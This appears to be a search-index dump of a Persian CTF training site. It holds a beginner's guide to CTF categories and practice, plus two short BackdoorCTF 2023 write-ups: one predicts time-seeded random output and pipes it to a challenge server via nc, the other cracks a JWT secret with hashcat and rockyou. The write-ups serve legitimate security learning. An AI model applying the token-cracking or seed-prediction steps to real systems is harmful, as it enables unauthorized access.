\u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u062d\u0648\u0632\u0647 \u0645\u0648\u0631\u062f \u0639\u0644\u0627\u0642\u0647\u200c \u062f\u0631 CTF \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0627\u0648\u0644\u06cc\u0646 \u06af\u0627\u0645 \u0645\u0647\u0645 \u0628\u0631\u0627\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a \u062f\u0631 \u0627\u06cc\u0646 \u0645\u0633\u06cc\u0631 \u0628\u0627\u0634\u062f. \u0647\u0645\u0627\u0646\u200c\u0637\u0648\u0631 \u06a9\u0647 \u062f\u0631 \u0645\u0646\u0648\u06cc \u0628\u0627\u0644\u0627 \u0645\u06cc\u200c\u0628\u06cc\u0646\u06cc\u062f \u0634\u0627\u062e\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0627\u0632 \u0627\u0645\u0646\u06cc\u062a \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a CTF \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f. \u062f\u0633\u062a\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641 CTF \u0645\u0627\u0646\u0646\u062f \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc\u060c \u0648\u0628\u060c pwn\u060c \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 \u0648 \u062c\u0631\u0645\u200c\u0634\u0646\u0627\u0633\u06cc \u062d\u0648\u0632\u0647\u200c\u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u062f\u0631 CTF \u0647\u0633\u062a\u0646\u062f. \u0628\u0627 \u0645\u0631\u0627\u062c\u0639\u0647 \u0628\u0647 \u0647\u0631 \u0634\u0627\u062e\u0647 \u0627\u0632 \u0645\u0646\u0648\u06cc \u0628\u0627\u0644\u0627 \u062a\u0648\u0636\u06cc\u062d\u0627\u062a\u06cc \u062f\u0631 \u0645\u0648\u0631\u062f \u0622\u0646 \u062f\u0633\u062a\u0647 \u0648 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u0622\u0646 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u062f \u06a9\u0647 \u0634\u0627\u06cc\u062f \u0628\u0647 \u0634\u0645\u0627 \u062f\u0631 \u0627\u0646\u062a\u062e\u0627\u0628 \u062e\u0648\u062f \u06a9\u0645\u06a9 \u06a9\u0646\u062f. - \u062a\u0648\u0635\u06cc\u0647: \u0627\u06af\u0631\u0686\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u062f\u0633\u062a\u0647\u200c\u0647\u0627 \u0641\u0639\u0627\u0644\u06cc\u062a \u06a9\u0646\u06cc\u062f \u0627\u0645\u0627 \u067e\u06cc\u0634\u0646\u0647\u0627\u062f \u0645\u06cc\u200c\u06a9\u0646\u06cc\u0645 \u06cc\u06a9 \u062d\u0648\u0632\u0647 \u0631\u0627 \u0639\u0645\u06cc\u0642\u200c\u062a\u0631 \u0648 \u062a\u062e\u0635\u0635\u06cc\u200c\u062a\u0631 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0646\u06cc\u062f \u0648 \u0633\u0627\u06cc\u0631 \u062d\u0648\u0632\u0647\u200c\u0647\u0627 \u0631\u0627 \u0628\u0647 \u0639\u0646\u0648\u0627\u0646 \u062f\u0627\u0646\u0634 \u0627\u0636\u0627\u0641\u06cc \u062f\u0631 \u06a9\u0646\u0627\u0631 \u0622\u0646 \u062a\u0642\u0648\u06cc\u062a \u06a9\u0646\u06cc\u062f.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-_1","title":"\u06f2- \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0645\u0646\u0627\u0628\u0639 \u0622\u0645\u0648\u0632\u0634\u06cc","text":"

\u0628\u0639\u062f \u0627\u0632 \u067e\u06cc\u062f\u0627 \u06a9\u0631\u062f\u0646 \u062d\u0648\u0632\u0647 \u0645\u0648\u0631\u062f \u0639\u0644\u0627\u0642\u0647 \u0628\u0627\u06cc\u062f \u0634\u0631\u0648\u0639 \u0628\u0647 \u0645\u0637\u0627\u0644\u0639\u0647 \u0645\u0646\u0627\u0628\u0639 \u0622\u0645\u0648\u0632\u0634\u06cc \u0645\u062e\u062a\u0644\u0641 (\u0648\u0628\u0633\u0627\u06cc\u062a\u060c \u06a9\u062a\u0627\u0628\u060c \u0628\u0644\u0627\u06af) \u06a9\u0646\u06cc\u062f \u062a\u0627 \u062f\u0627\u0646\u0634 \u067e\u0627\u06cc\u0647 \u0622\u0646 \u062d\u0648\u0632\u0647 \u06a9\u0633\u0628 \u06a9\u0646\u06cc\u062f. \u06cc\u06a9 \u0627\u0632 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u062e\u0648\u0628 \u062f\u0631 \u0627\u06cc\u0646 \u0632\u0645\u06cc\u0646\u0647 \u0628\u062e\u0634 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0633\u0627\u06cc\u062a picoctf \u0627\u0633\u062a \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f. \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0622\u0645\u0648\u0632\u0634\u06cc \u062f\u06cc\u06af\u0631\u06cc \u0647\u0645 \u0628\u0647 \u0634\u06a9\u0644 \u062a\u062e\u0635\u0635\u06cc \u0631\u0648\u06cc \u06cc\u06a9 \u062d\u0648\u0632\u0647 \u062e\u0627\u0635 \u0622\u0645\u0648\u0632\u0634 \u06cc\u0627 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0622\u0646\u200c\u0647\u0627 \u0645\u0631\u0627\u062c\u0639\u0647 \u06a9\u0646\u06cc\u062f.

PWN \u0631\u0645\u0632\u0646\u06af\u0627\u0631\u06cc \u0645\u0647\u0646\u062f\u0633\u06cc \u0645\u0639\u06a9\u0648\u0633 osint \u062c\u0631\u0645\u200c\u0634\u0646\u0627\u0633\u06cc \u0648\u0628

\u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0627\u06cc\u0646\u060c \u062f\u0631 \u06a9\u0646\u0627\u0631 \u0645\u0637\u0627\u0644\u0639\u0647 \u0647\u0631 \u062d\u0648\u0632\u0647\u060c \u0646\u06cc\u0627\u0632 \u0628\u0647 \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0627\u0628\u0632\u0627\u0631\u0647\u0627 \u0648 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u0645\u062e\u062a\u0644\u0641\u06cc \u0645\u0627\u0646\u0646\u062f Wireshark pwntools \u060cJohn the Ripper \u0648 \u063a\u06cc\u0631\u0647 \u062f\u0627\u0631\u06cc\u062f \u06a9\u0647 \u0628\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f. \u062f\u0631 \u0647\u0645\u06cc\u0646 \u0633\u0627\u06cc\u062a\u060c \u0645\u0627 \u062f\u0631 \u0647\u0631 \u0628\u062e\u0634 \u0633\u0639\u06cc \u06a9\u0631\u062f\u06cc\u0645 \u0627\u0628\u0632\u0627\u0631\u0647\u0627 \u0648 \u06a9\u062a\u0627\u0628\u062e\u0627\u0646\u0647\u200c\u0647\u0627\u06cc \u06a9\u0627\u0631\u0628\u0631\u062f\u06cc \u0631\u0627 \u0628\u0647 \u0645\u0631\u0648\u0631 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0646\u06cc\u0645.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-ctf","title":"\u06f3- \u067e\u06cc\u0648\u0633\u062a\u0646 \u0628\u0647 \u06af\u0631\u0648\u0647\u200c\u0647\u0627\u06cc CTF","text":"

\u06cc\u06a9\u06cc \u0627\u0632 \u0631\u0627\u0647\u200c\u0647\u0627\u06cc \u062a\u0642\u0648\u06cc\u062a \u0645\u0647\u0627\u0631\u062a \u062f\u0631 \u062d\u0644 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0627\u06cc\u062c\u0627\u062f \u0627\u0631\u062a\u0628\u0627\u0637 \u0628\u0627 \u0627\u0641\u0631\u0627\u062f \u0628\u0627 \u062a\u062c\u0631\u0628\u0647 \u0648 \u062d\u0631\u0641\u0647\u200c\u0627\u06cc \u0627\u0633\u062a. \u0627\u0631\u062a\u0628\u0627\u0637\u0627\u062a \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u0645\u0646\u0628\u0639 \u0627\u0631\u0632\u0634\u0645\u0646\u062f\u06cc \u0628\u0631\u0627\u06cc \u0627\u0641\u0632\u0627\u06cc\u0634 \u0633\u0631\u0639\u062a \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0648 \u062d\u062a\u06cc \u0641\u0631\u0635\u062a\u200c\u0647\u0627\u06cc \u0634\u063a\u0644\u06cc \u0622\u06cc\u0646\u062f\u0647 \u0628\u0627\u0634\u062f. \u0634\u0645\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u062f\u0631 \u0634\u0628\u06a9\u0647\u200c\u0647\u0627\u06cc \u0627\u062c\u062a\u0645\u0627\u0639\u06cc \u0645\u0627\u0646\u0646\u062f \u062f\u06cc\u0633\u06a9\u0648\u0631\u062f\u060c \u062a\u0644\u06af\u0631\u0627\u0645 \u0648 \u062a\u0648\u06cc\u06cc\u062a\u0631 \u0639\u0636\u0648 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc CTF \u0634\u0648\u06cc\u062f \u062a\u0627 \u0633\u0648\u0627\u0644\u0627\u062a \u062e\u0648\u062f \u0631\u0627 \u0628\u067e\u0631\u0633\u06cc\u062f \u06cc\u0627 \u0628\u0647 \u0633\u0648\u0627\u0644\u0627\u062a \u062f\u06cc\u06af\u0631\u0627\u0646 \u067e\u0627\u0633\u062e \u062f\u0647\u06cc\u062f. \u062f\u0631 \u06a9\u0644 \u0627\u06cc\u0646 \u062a\u0639\u0627\u0645\u0644\u0627\u062a \u0628\u0627\u0639\u062b \u0627\u0641\u0632\u0627\u06cc\u0634 \u0645\u0647\u0627\u0631\u062a \u0634\u0645\u0627 \u0645\u06cc\u200c\u0634\u0648\u062f. \u0628\u0633\u06cc\u0627\u0631\u06cc \u0627\u0632 \u06af\u0631\u0648\u0647\u200c\u0647\u0627 \u0648 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 CTF \u062f\u0631 Discord \u0641\u0639\u0627\u0644\u06cc\u062a \u0645\u06cc\u200c\u06a9\u0646\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0633\u0631\u0648\u0631\u0647\u0627\u06cc \u0645\u0639\u0631\u0648\u0641 \u0645\u0627\u0646\u0646\u062f Hack The Box \u060cCapture The Flag \u0628\u067e\u06cc\u0648\u0646\u062f\u06cc\u062f. \u062f\u0631 \u062a\u0648\u06cc\u06cc\u062a\u0631 \u0646\u06cc\u0632 \u0628\u0627 \u062f\u0646\u0628\u0627\u0644 \u06a9\u0631\u062f\u0646 \u0627\u0641\u0631\u0627\u062f \u0645\u0639\u0631\u0648\u0641 \u0648 \u062a\u06cc\u0645\u200c\u0647\u0627 \u0645\u0631\u062a\u0628\u0637 \u0628\u0627 CTF (\u0645\u062b\u0644 \u062a\u06cc\u0645 \u062e\u0648\u062f\u0645\u0648\u0646 ) \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0627\u062e\u0628\u0627\u0631 \u0648 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u0622\u06af\u0627\u0647 \u0634\u0648\u06cc\u062f.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-write-up","title":"\u06f4- \u062e\u0648\u0627\u0646\u062f\u0646 Write-up","text":"

\u0634\u0627\u06cc\u062f \u0645\u0647\u0645\u200c\u062a\u0631\u06cc\u0646 \u0639\u0627\u0645\u0644 \u0628\u0631\u0627\u06cc \u06cc\u0627\u062f\u06af\u06cc\u0631\u06cc \u0648 \u062a\u0642\u0648\u06cc\u062a \u062f\u0631 CTF \u062e\u0648\u0627\u0646\u062f\u0646 \u0631\u0627\u06cc\u062a\u0627\u067e \u06cc\u0627 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0686\u0627\u0644\u0634 \u062a\u0648\u0633\u0637 \u062f\u06cc\u06af\u0631\u0627\u0646 \u0627\u0633\u062a. \u062e\u0648\u0627\u0646\u062f\u0646 \u0645\u062f\u0627\u0648\u0645 \u0631\u0627\u06cc\u062a\u0627\u067e \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u062f \u06a9\u0645\u06a9 \u0632\u06cc\u0627\u062f \u0628\u0647 \u062a\u0642\u0648\u06cc\u062a \u0634\u0645\u0627 \u06a9\u0646\u062f. \u06af\u0627\u0647\u06cc \u0646\u0648\u0634\u062a\u0646 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0628\u0631\u0627\u06cc \u062e\u0648\u062f \u0648 \u0647\u0645\u0686\u0646\u06cc\u0646 \u062e\u0644\u0627\u0635\u0647 \u06cc\u0627 \u0646\u06a9\u062a\u0647\u200c\u0628\u0631\u062f\u0627\u0631\u06cc \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0628\u0647 \u0645\u0627\u0646\u062f\u06af\u0627\u0631\u06cc \u0622\u0646 \u062f\u0631 \u0630\u0647\u0646 \u06a9\u0645\u06a9 \u0645\u06cc\u200c\u06a9\u0646\u062f.

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-_2","title":"\u06f5- \u062a\u0645\u0631\u06cc\u0646 \u0645\u0646\u0638\u0645 \u0648 \u067e\u06cc\u0648\u0633\u062a\u0647","text":"

\u06af\u0627\u0647\u06cc \u062e\u0648\u0627\u0646\u062f\u0646 \u0628\u0647 \u062a\u0646\u0647\u0627\u06cc\u06cc \u06a9\u0627\u0641\u06cc \u0646\u06cc\u0633\u062a \u0648 \u0644\u0627\u0632\u0645 \u0627\u0633\u062a \u062e\u0648\u062f \u0631\u0627 \u0628\u0647 \u0686\u0627\u0644\u0634 \u0628\u06a9\u0634\u06cc\u062f \u0648 \u0634\u0631\u0648\u0639 \u0628\u0647 \u062d\u0644 \u06cc\u06a9 \u0686\u0627\u0644\u0634 CTF \u06a9\u0646\u06cc\u062f. \u0628\u0631\u0627\u06cc \u0645\u062b\u0627\u0644 \u06cc\u06a9 \u0645\u062f\u062a \u0632\u0645\u0627\u0646\u06cc \u0631\u0627 \u0631\u0648\u06cc \u06cc\u06a9 \u0686\u0627\u0644\u0634 \u0635\u0631\u0641 \u06a9\u0646\u06cc\u062f \u0648 \u0627\u06af\u0631 \u0647\u0646\u0648\u0632 \u06af\u06cc\u0631 \u06a9\u0631\u062f\u0647\u200c\u0627\u06cc\u062f \u0633\u067e\u0633 \u0628\u0647 \u062f\u0646\u0628\u0627\u0644 \u06cc\u06a9 \u0631\u0627\u0647\u0646\u0645\u0627\u06cc\u06cc \u0628\u0627\u0634\u06cc\u062f \u06cc\u0627 \u0631\u0627\u06cc\u062a\u0627\u067e\u200c\u0647\u0627\u06cc \u0645\u0634\u0627\u0628\u0647 \u0631\u0627 \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u06cc\u062f.

\u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 wargame \u06af\u0632\u06cc\u0646\u0647 \u0645\u0646\u0627\u0633\u0628\u06cc \u0627\u0633\u062a \u0632\u06cc\u0631\u0627 \u0634\u0645\u0627 \u0628\u0647 \u0627\u0646\u062f\u0627\u0632\u0647 \u06a9\u0627\u0641\u06cc \u0632\u0645\u0627\u0646 \u062f\u0627\u0631\u06cc\u062f \u062a\u0627 \u0631\u0648\u06cc \u06cc\u06a9 \u0686\u0627\u0644\u0634 CTF \u062a\u0645\u0631\u06a9\u0632 \u06a9\u0646\u06cc\u062f. \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u0647 \u062f\u0631 \u0628\u0627\u0644\u0627 \u06a9\u0647 \u0628\u0647 \u0637\u0648\u0631 \u062a\u062e\u0635\u0635\u06cc \u0631\u0648\u06cc \u06cc\u06a9 \u062f\u0633\u062a\u0647 \u0645\u062a\u0645\u0631\u06a9\u0632 \u0628\u0648\u062f\u0646\u062f\u060c \u062f\u0631 \u0632\u06cc\u0631 \u062a\u0639\u062f\u0627\u062f\u06cc \u0627\u0632 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc\u06cc \u06a9\u0647 \u0686\u0627\u0644\u0634 \u0627\u0632 \u0647\u0645\u0647 \u062d\u0648\u0632\u0647\u200c\u0647\u0627 \u062f\u0627\u0631\u0646\u062f \u0631\u0627 \u0642\u0631\u0627\u0631 \u062f\u0627\u062f\u06cc\u0645. \u0627\u06cc\u0646 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627 \u0686\u0627\u0644\u0634\u200c\u0647\u0627\u06cc\u06cc \u0631\u0627 \u0627\u0632 \u0633\u0637\u062d \u0645\u0628\u062a\u062f\u06cc \u062a\u0627 \u062f\u0634\u0648\u0627\u0631 \u0631\u0627 \u0627\u0631\u0627\u0626\u0647 \u0645\u06cc\u200c\u062f\u0647\u0646\u062f \u06a9\u0647 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0627\u0632 \u0622\u0646\u200c\u0647\u0627 \u0628\u0631\u0627\u06cc \u062a\u0645\u0631\u06cc\u0646 \u06a9\u0631\u062f\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u06a9\u0646\u06cc\u062f.

- \u062a\u0648\u0635\u06cc\u0647: \u062f\u0631 \u0627\u06cc\u0646 \u0628\u06cc\u0646 picoctf \u0634\u0627\u06cc\u062f \u06af\u0632\u06cc\u0646\u0647 \u0645\u0646\u0627\u0633\u0628\u200c\u062a\u0631\u06cc \u0628\u0631\u0627\u06cc \u0634\u0631\u0648\u0639 \u0628\u0627\u0634\u062f.

\u0628\u0631\u062e\u06cc \u0627\u0632 \u0633\u0627\u06cc\u062a\u200c\u0647\u0627\u06cc wargame \u0645\u0639\u0631\u0648\u0641

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"getStarted/beginners-guide/#-_3","title":"\u06f6- \u0634\u0631\u06a9\u062a \u06a9\u0631\u062f\u0646 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0647","text":"

\u0631\u0627\u0647 \u062f\u06cc\u06af\u0631 \u0628\u0631\u0627\u06cc \u0634\u0631\u0648\u0639 \u0648 \u062a\u0642\u0648\u06cc\u062a \u0645\u0647\u0627\u0631\u062a \u0645\u0633\u0627\u0628\u0642\u0647 \u062f\u0627\u062f\u0646 \u0627\u0633\u062a. \u0628\u0639\u062f \u0627\u0632 \u0627\u06cc\u0646\u06a9\u0647 \u0627\u0646\u062f\u06a9\u06cc \u0628\u0627 \u062d\u0648\u0632\u0647 \u0686\u0627\u0644\u0634\u200c\u0647\u0627 \u0648 \u0646\u062d\u0648\u0647 \u062d\u0644 \u0622\u0646\u200c\u0647\u0627 \u0622\u0634\u0646\u0627 \u0634\u062f\u06cc\u062f \u0648\u0642\u062a \u062e\u0648\u0628\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u06cc\u06a9 \u0645\u0633\u0627\u0628\u0642\u0647 \u0634\u0631\u06a9\u062a \u06a9\u0646\u06cc\u062f. \u0628\u0631\u0627\u06cc \u0627\u06cc\u0646 \u06a9\u0627\u0631 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u06cc\u062f \u0628\u0647 \u0633\u0627\u06cc\u062a ctftime \u0633\u0631 \u0628\u0632\u0646\u06cc\u062f. \u0628\u0647\u062a\u0631 \u0627\u0633\u062a \u06a9\u0647 \u0627\u0628\u062a\u062f\u0627 \u062f\u0631 \u0645\u0633\u0627\u0628\u0642\u0627\u062a\u06cc \u0628\u0627 \u0648\u0632\u0646 \u06a9\u0645 (\u06f0 \u062a\u0627 \u06f2\u06f5) \u0634\u0631\u06a9\u062a \u06a9\u0646\u06cc\u062f \u0686\u0648\u0646 \u0627\u06cc\u0646 \u0645\u0633\u0627\u0628\u0642\u0627\u062a \u0628\u0631\u0627\u06cc \u0627\u0641\u0631\u0627\u062f\u06cc \u0627\u0633\u062a \u06a9\u0647 \u062a\u0627\u0632\u0647 \u0648\u0627\u0631\u062f \u0627\u06cc\u0646 \u0639\u0631\u0635\u0647 \u0634\u062f\u0647\u200c\u0627\u0646\u062f.

- \u062a\u0648\u0635\u06cc\u0647:

\u0627\u0645\u06cc\u062f\u0648\u0627\u0631\u06cc\u0645 \u0627\u06cc\u0646 \u0645\u0648\u0627\u0631\u062f \u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639 \u0645\u0646\u0627\u0633\u0628\u06cc \u0628\u0627\u0634\u062f \u0648 \u0634\u0645\u0627 \u0631\u0627 \u0628\u0631\u0627\u06cc \u0645\u0648\u0641\u0642\u06cc\u062a \u06a9\u0645\u06a9 \u06a9\u0646\u062f.

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

HIGHer

","tags":["\u0631\u0627\u0647\u0646\u0645\u0627\u06cc \u0634\u0631\u0648\u0639","beginner guide"]},{"location":"misc/","title":"\u0645\u062a\u0641\u0631\u0642\u0647","text":"

\u0645\u062a\u0641\u0631\u0642\u0647\u061f

\u06cc\u0639\u0646\u06cc \u0686\u06cc\u061f

\u0647\u0631 \u0686\u0644\u0646\u062c\u06cc \u06a9\u0647 \u06cc\u06a9\u0645 \u0627\u0632 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0647\u0627\u06cc \u0645\u0631\u0633\u0648\u0645 \u062f\u0648\u0631 \u0628\u0627\u0634\u0647\u060c \u06cc\u0627 \u062a\u0631\u06a9\u06cc\u0628\u06cc \u0627\u0632 \u0686\u0646\u062f \u062a\u0627 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0628\u0627\u0634\u0647 \u0627\u06cc\u0646\u062c\u0627 \u0642\u0631\u0627\u0631 \u0645\u06cc\u06af\u06cc\u0631\u0647 \u0648 \u0645\u0627 \u0647\u0645 \u06a9\u0647 \u0628\u0647\u0634\u0648\u0646 \u0631\u062d\u0645 \u0646\u0645\u06cc\u06a9\u0646\u06cc\u0645

\u062a\u0648 \u0627\u06cc\u0646 \u062f\u0633\u062a\u0647 \u0628\u0627\u06cc\u062f \u0627\u0646\u062a\u0638\u0627\u0631 \u0647\u0645\u0647 \u0686\u06cc\u0632 \u0631\u0648 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u06cc\u0645 \u0627\u0632 \u0631\u06cc\u0648\u0631\u0633 \u0628\u06af\u06cc\u0631 \u062a\u0627 \u06a9\u0631\u06cc\u067e\u062a\u0648 \u0627\u0632 \u0627\u0633\u062a\u06af\u0627\u0646\u0648\u06af\u0631\u0627\u0641\u06cc \u0628\u06af\u06cc\u0631 \u062a\u0627 \u0634\u0628\u06a9\u0647

\u0648\u0644\u06cc \u062e\u0648\u0628 \u0686\u0648\u0646 \u06cc\u06a9\u0645 \u0627\u0632 \u062f\u0633\u062a\u0647 \u0628\u0646\u062f\u06cc \u0647\u0627\u06cc \u0627\u0635\u0644\u06cc \u062f\u0648\u0631 \u0634\u062f\u0646\u060c \u0631\u0627\u062d\u062a \u062a\u0631 \u0645\u06cc\u0634\u0647 \u062d\u0644\u0634\u0648\u0646 \u06a9\u0631\u062f \u0627\u0645\u0627 \u062e\u0648\u0628 \u062a\u0631\u06a9\u06cc\u0628\u06cc\u0646

\u0627\u0628\u0632\u0627\u0631 \u062e\u0627\u0635\u06cc \u0646\u0645\u06cc\u0634\u0647 \u0645\u0639\u0631\u0641\u06cc \u06a9\u0631\u062f \u0628\u0631\u0627\u0634\u0648\u0646

\u06cc\u0627 \u062d\u062f\u0627\u0642\u0644 \u0627\u0628\u0632\u0627\u0631\u06cc \u06a9\u0647 \u062a\u0648 \u0628\u0642\u06cc\u0647 \u0632\u0645\u06cc\u0646\u0647 \u0647\u0627 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u0634\u0646 (\u0648 \u062a\u0648 \u0647\u0645\u06cc\u0646 \u0628\u0644\u0627\u06af \u0628\u0647\u0634\u0648\u0646 \u0627\u0634\u0627\u0631\u0647 \u0634\u062f\u0647) \u0631\u0648 \u0628\u0627\u06cc\u062f \u0627\u06cc\u0646\u062c\u0627 \u0628\u0647 \u06a9\u0627\u0631 \u06af\u0631\u0641\u062a \u0628\u0639\u0644\u0627\u0648\u0647 \u06cc\u0647 \u0686\u0646\u062f \u062a\u0627 \u0627\u0628\u0632\u0627\u0631 \u06a9\u0647 \u0628\u0631\u0627\u06cc \u0627\u0633\u062a\u06af\u0627\u0646\u0648\u06af\u0631\u0627\u0641\u06cc \u0648 \u06cc\u0647 \u0686\u0646\u062f \u062a\u0627 \u0632\u0645\u06cc\u0646\u0647 \u062f\u06cc\u06af\u0647 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0645\u06cc\u0634\u0646

"},{"location":"misc/Tools/","title":"\u0627\u0628\u0632\u0627\u0631 \u0645\u062a\u0641\u0631\u0642\u0647","text":"

Steganography

"},{"location":"misc/writeups/BackdoorCTF/Fruit-Basket/","title":"Fruit Basket","text":"

\u0622\u0631\u0634\u06cc\u0648 \u0686\u0644\u0646\u062c

#include <stdio.h>\n#include <time.h>\n#include <stdlib.h>\n#include <string>\n#include <unistd.h>\n\nint main()\n{\n    unsigned int v3; // eax\n    char *fruits[10] = {\"Apple\", \"Orange\", \"Mango\", \"Banana\", \"Pineapple\", \"Watermelon\", \"Guava\", \"Kiwi\", \"Strawberry\", \"Peach\"};\n\n    int i; // [rsp+Ch] [rbp-24h]\n\n    v3 = time(0);\n    srand(v3);\n\n    usleep(4000000);\n\n    for (i = 0; i <= 49; ++i)\n    {\n        printf(\"%s\\n\", fruits[rand() % 10]);\n    }\n    printf(\"cat flag.txt\\n\");\n    return 0;\n}\n
\u0627\u06cc\u0646 \u06a9\u062f \u06a9\u0647 \u0627\u0632 \u0631\u0648 \u0633\u0648\u0631\u0633 \u0686\u0644\u0646\u062c \u062f\u0631\u0627\u0648\u0645\u062f\u0647 \u0631\u0648 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0686\u0648\u0646 \u0633\u06cc\u062f \u0631\u0646\u062f\u0648\u0645 \u0631\u0648\u06cc \u062a\u0627\u06cc\u0645 \u0633\u062a \u0634\u062f\u0647\u060c \u0631\u0646\u062f\u0648\u0645 \u0647\u0627\u06cc \u0633\u0645\u062a \u0633\u0631\u0648\u0631 \u0648 \u06a9\u0644\u0627\u06cc\u0646\u062a \u0628\u0631\u0627\u0628\u0631 \u0627\u0646

\u0628\u0627 \u062f\u0633\u062a\u0648\u0631 \u0632\u06cc\u0631 \u0627\u062c\u0631\u0627 \u0645\u06cc\u06a9\u0646\u06cc\u0645 \u0648 \u0628\u0647 nc \u067e\u0627\u06cc\u067e \u0645\u06cc\u06a9\u0646\u06cc\u0645

./main|nc 34.70.212.151 8006\n

\u0646\u0648\u06cc\u0633\u0646\u062f\u0647

SafaSafari

","tags":["BackdoorCTF","BackdoorCTF-2023","Begineer","C","Random"]},{"location":"misc/writeups/BackdoorCTF/Secret-of-Kurama/","title":"Secret of Kurama","text":"

\u0627\u0648\u0644 \u06a9\u0627\u0631 jwt \u06a9\u0647 \u0628\u0647\u0645\u0648\u0646 \u062f\u0627\u062f\u0647 \u0631\u0648 \u0628\u0627 hashcat \u0645\u06cc\u0632\u0646\u06cc\u0645 \u0631\u0648 \u06a9\u0631\u06a9 \u0628\u0627 \u067e\u0633\u0648\u0631\u062f \u0644\u06cc\u0633\u062a rockyou

hashcat eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ik5hcnV0byIsInJvbGUiOiJzaGlub2JpIn0.WJv_YcVsRV15PqzGpq10-w5i2mJ_BI1mBzkZMtAPnIQ -m 16500 -w 2 rockyou.txt\n
